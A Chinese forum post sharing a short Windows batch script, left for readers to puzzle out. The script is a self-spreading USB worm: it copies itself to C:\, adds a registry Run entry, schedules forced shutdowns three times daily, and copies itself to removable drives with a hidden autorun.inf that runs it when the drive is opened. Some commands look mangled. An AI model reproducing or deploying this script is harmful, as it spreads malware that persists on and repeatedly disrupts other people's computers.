本帖最后由 hk7777777 于 2017-11-25 14:25 编辑
- @echo off&setlocal EnableDelayedExpansion© /Y %0>C:\0.bat
- reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v shutdown /d "C:\0.bat" /f
- at /delete /yes
- for %%i in (11:40 17:05 21:50) do (at %%i /every:M,T,W,Th,F,S,Su shutdown -s -t 10)&for %%i in (Z Y X W V U T S R Q P O N M L K J I H G F E D) do (if NOT exist %%i:\*.* set a=%%i)
- :a
- (if NOT exist %a%:\*.* goto a)>nul
- copy /Y %0>%a%:\0.bat
- set b=%a%:\AUTORUN.INF
- if exist %b%\ (del /f /a /q %b%\*.*&cd /s /q %b%\)&echo ^[autorun^]>%b%&(echo OPEN^=explorer.exe&echo shell\open^=打开(^&O)&echo shell\open\Command^=0.bat&echo shell\open\Default^=1&echo shell\资源管理器(^&X)\Command^=0.bat&echo shell\自动播放(^&P)\DropTarget^=0.bat)>>%b%
- attrib +sh %b%
- attrib +h %a%:\0.bat
复制代码 干嘛的,诸位自己脑补 |